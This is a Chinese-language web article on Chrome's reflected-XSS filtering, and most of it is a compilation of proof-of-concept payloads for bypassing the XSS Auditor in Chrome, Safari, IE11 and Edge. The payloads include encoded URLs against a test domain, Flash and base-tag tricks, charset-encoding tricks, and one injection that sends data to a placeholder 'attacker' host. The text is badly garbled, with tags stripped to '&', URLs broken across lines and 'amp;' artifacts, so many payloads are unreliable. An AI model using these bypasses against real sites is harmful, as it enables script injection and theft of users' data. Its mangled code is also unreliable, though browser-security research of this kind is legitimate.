Chrome 是怎麼過濾反射型 XSS 的呢?


chrome xss filter是基於CSP策略攔截,也就是把匹配到的XSS標籤進行處理。
據說chrome是採用了火狐的CSP策略。
詳細的策略可以參考這裡:
https://wiki.mozilla.org/Security/CSP/Specification


XSS,即跨站腳本攻擊,是Web程序中常見的漏洞,其原理是惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁面時,嵌入其中的Script代碼會自動執行,從而達到惡意攻擊用戶的目的。為了防止這些惡意攻擊的發生,現在用戶所使用的瀏覽器內核中一般都有XSS Filter(除Firefox外)。

眾所周知,XSS共有三種類型,分別是:反射型、存儲型和DOM Based XSS。接下來就為大家簡單介紹一下這三種類型的XSS。

第一類:反射型XSS,當我們在訪問一個網頁的時候,在URL後面加上一定的參數,瀏覽器變會返回不同的執行結果。但如果我們在IE/Chrome/Safari中嘗試這種操作,瀏覽器可能會顯示以下消息:「為幫助阻止跨站點腳本,已修改此頁面。」,窗口也無法彈出。這就體現出了瀏覽器內核中Filter的功能。

第二類:存儲型XSS,它常見於支持用戶互動的Web應用,如微博、留言板等。用戶提交到應用程序里的數據會永久性的保存在後端資料庫中,如果沒有經過HTML編碼,當用戶瀏覽了包含惡意代碼的頁面之後(這個頁面通常是用戶會主動訪問的頁面),便會受到相應攻擊,這也使得存儲型XSS比反射型XSS更不易被識別。

第三類:DOM Based XSS,首先,用戶請求一個包含JavaScript的特殊URL,會由攻擊者提交。然後伺服器響應里不會包含攻擊者的腳本,當用戶的瀏覽器處理該響應時,這段攻擊代碼被前端JS里的DOM處理操作引發。它與反射型XSS類似,都需要由攻擊者設計一個包含惡意代碼的URL並誘導用戶訪問,再經瀏覽器響應惡意代碼執行後的操作。

XSS Auditor,是一個被加入在了瀏覽器內核中的安全功能。本篇將為大家講述如何繞過瀏覽器中的 XSS Auditor 進行腳本攻擊,希望能給大家一些幫助,主要是在Chrome/ Safari/IE11/ Edge瀏覽器中進行操作的。

發生在一個字元串中的XSS

https://vulnerabledoma.in/bypass/str_literal?q=%22%3Balert(1)//

&var q="";alert(1)//"&

URL單獨成立的XSS(如輸入值直接進入a標籤的href部分)

https://vulnerabledoma.in/bypass/link?q=javascript:alert(1)

&Link&

頁面有2個以上的注入點

https://vulnerabledoma.in/bypass/text?type=2amp;amp;amp;amp;q=%60-alert(1)%3C/sc

ript%3E%3Cscript%3E%60

&`-alert(1)&&`& &`-alert(1)&&`&

字元串的相關操作

當字元串的一部分被替換或刪除時,它不能被切斷並放置在字元串之間。

被刪除時的payload:

https://vulnerabledoma.in/bypass/text?type=6amp;amp;amp;amp;q=%3Csvg%20o%3Cscrip

t%3Enload=alert(1)%3E

&nload=alert(1)&>

&

被置換時的payload:

https://vulnerabledoma.in/bypass/text?type=7amp;amp;amp;amp;q=%3Cscript%3E/%26/-alert(1)%3C/s

cript%3E

&//-alert(1)&

&//-alert(1)&

基於DOM 的XSS和其他document.write()的請求字元串

https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20o

nerror=alert(1)%3E

&
&
hash=location.hash.slice(1);
document.body.innerHTML=decodeURIComponent(hash);
&

&

在XML頁的XSS

https://vulnerabledoma.in/bypass/xml?q=%3Cscript%20xmlns=%22http:

//http://www.w3.org/1999/xhtml%22%3Ealert(1)%3C/script%3E

&

&

&

可能包含機密信息的請求,如圖像的情

況。

https://vulnerabledoma.in/bypass/text?type=8amp;amp;amp;amp;q=%3Cimg%20src=%22ht

tps://attacker/?data=

&

&&@import "//attacker/test.css"&

&和&

的BYPASS (僅Chrome)

攻擊可能條件:

1.任何一個可以XSS的標籤

2.在目標環境下Flash能利用

參考URL:

http://masatokinugawa.l0.cm/2016/12/xss12.html

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cobject%20allowscriptac

cess=always%3E%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3

E

&
&


SVG動畫的屬性的利用

攻擊的可能條件:

1.任何一個可以XSS的標籤

參考URL:

https://bugs.chromium.org/p/chromium/issues/detail?id=709365

PoC(Chrome):

https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Canimate%20hre

f=%23x%20attributeName=href%20values=%26%23x3000%3Bjavascript:ale

rt(1)%20/%3E%3Ca%20id=x%3E%3Crect%20w=100%20h=100%20/%3E

%3C/a%3E

&
&
&&&

PoC(Safari):

https://vulnerabledoma.in/bypass/text?q=%3Csvg%20xmlns:xlink=http://www.w3.org/1999/xli

nk%3E%3Canimate%20xlink:href=%23x%20attributeName=%22xlink:href%22%20values=%22%26%23x3

000%3Bjavascript:alert(1)%22%20/%3E%3Ca%20id=x%3E%3Crect%20w=100%20h=100%20/%3

E%3C/a%3E

&
&
&&&

base標籤與Flash的利用(僅Safari)

攻擊的可能條件:

1.任何一個可以XSS的標籤

2.後面跟有whitespace符號或是單雙引號的情況

3.在目標範圍當中能夠利用此flash

參考URL:

http://masatokinugawa.l0.cm/2016/05/xss8.html

PoC:

(後面沒有whitespace符號的情況)

https://vulnerabledoma.in/bypass/text?type=3amp;amp;amp;amp;q=%3Cembed%20allowsc

riptaccess=always%20src=/xss.swf%3E%3Cbase%20href=//l0.cm/

&&&

(後面有whitespace的情況)

https://vulnerabledoma.in/bypass/text?type=4amp;amp;amp;amp;q=%3Cembed%20allowsc

riptaccess=always%20src=/xss.swf%3E%3Cbase%20href=%22//l0.cm/

& &
&

攻擊的可能條件:

1.任何一個可以XSS的標籤

2.後面跟有whitespace符號或是單雙引號的情況

3.後面有附在相對URL的腳本的部分

PoC:

https://vulnerabledoma.in/bypass/text?type=9amp;amp;amp;amp;q=%3Cbase%20href=//c

ors.l0.cm/

&& &

參考URL:

https://bugs.chromium.org/p/chromium/issues/detail?id=114941https://l0.cm/encodings/test3/

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Csvg%20o%1B(B

nload=alert(1)%3E

&&

(因為※$記號不會像預期的那樣自由移動,將通過包含$重定向的方法進行編碼)

https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Cscript%3Ealert(1)%1B$@%0A%3C/script%3E

&&alert(1)[0x1B]$@[0x0A]&

鏈接與base標籤的使用

攻擊的可能條件:

1.任何一個可以XSS的標籤

1.後面跟有whitespace符號的情況

2.後面跟有單雙引號的情況

參考URL:

l https://bugs.chromium.org/p/chromium/issues/detail?id=719962

PoC:

https://vulnerabledoma.in/bypass/text?type=4amp;amp;amp;amp;q=%3Ca%20href=/**/alert(1)%3EXSS%3C/a%3E%3Cbase%20href=%22javascript:

& &XSS&&PATH_INFO:/&

文件上傳功能

攻擊的可能條件:

1.任何一個可以XSS的標籤

2使用同一主機上用戶上傳的文件作為攻擊向量,如,用戶頭像等。

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=/bypass/usercontent/xss.js%3E%3C/script%3E

&

(當屬性值為 XSS 時)

Https://L0.Cm/bypass/ie_x-chinese-cns_attribute.Html

&
&
document.charset="x-chinese-cns";
location="https://vulnerabledoma.in/bypass/attribute?q=乜onmouseover=alert(1)//"
&

由於其他字元編碼被發送到編碼字元串中,並且引起了實際的差異。

https://l0.cm/bypass/ie_hz_text.htmlhttps://l0.cm/bypass/ie_hz_attribute.htmlhttps://l0.cm/bypass/ie_iso2022jp_text.htmlhttps://l0.cm/bypass/ie_iso2022jp_attribute.html

Adobe Acrobat Reader插入的利用(僅IE)

攻擊的可能條件:

1.有通過POST請求的XSS
2.在目標環境下使用Adobe Acrobat Reader軟體

參考URL:

http://insert-script.blogspot.com/2017/01/complete-internet-explorer-xss-filter.html

PoC:

https://l0.cm/bypass/ie_postxss_bypass.pdf

XML中的Content Sniffing的利用(僅IE)

攻擊可能的條件:

1.任何一個可以XSS的標籤

2.X-Content-Type-Options∶沒附有nosniff

3.可以從頁面頂部描述字元串

參考URL:

https://twitter.com/0x6D6172696F/status/753647521050849280

PoC:

https://vulnerabledoma.in/bypass/text?q=%3C?xml%20version=%221.0%22?%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%281%26%23x29%3B%3C/x:script%3E

&
&alert(1)&

UTF-7 BOM的使用(僅IE)

攻擊的可能條件:

1.可以從頁面頂部描述字元串

2.+,/,- 記號能被允許編寫

PoC:

(頁面沒有指定字元編碼的情況) https://vulnerabledoma.in/bypass/text?q=%2B/v8-%2BADw-script%2BAD4-alert(1)%2BADw-/script%2BAD4-

+/v8-+ADw-script+AD4-alert(1)+ADw-/script+AD4-

(頁面有指定字元編碼的情況)

https://l0.cm/bypass/ie_utf7.html

&function go(){ window.open("https://vulnerabledoma.in/bypass/text?q=%2B/v8-%2BADw-script%2BAD4-alert(location)%2BADw-/script%2BAD4-charset=utf-8","a"); setTimeout(function(){window.open("https://l0.cm/h_back.html","a")},1000);}&
&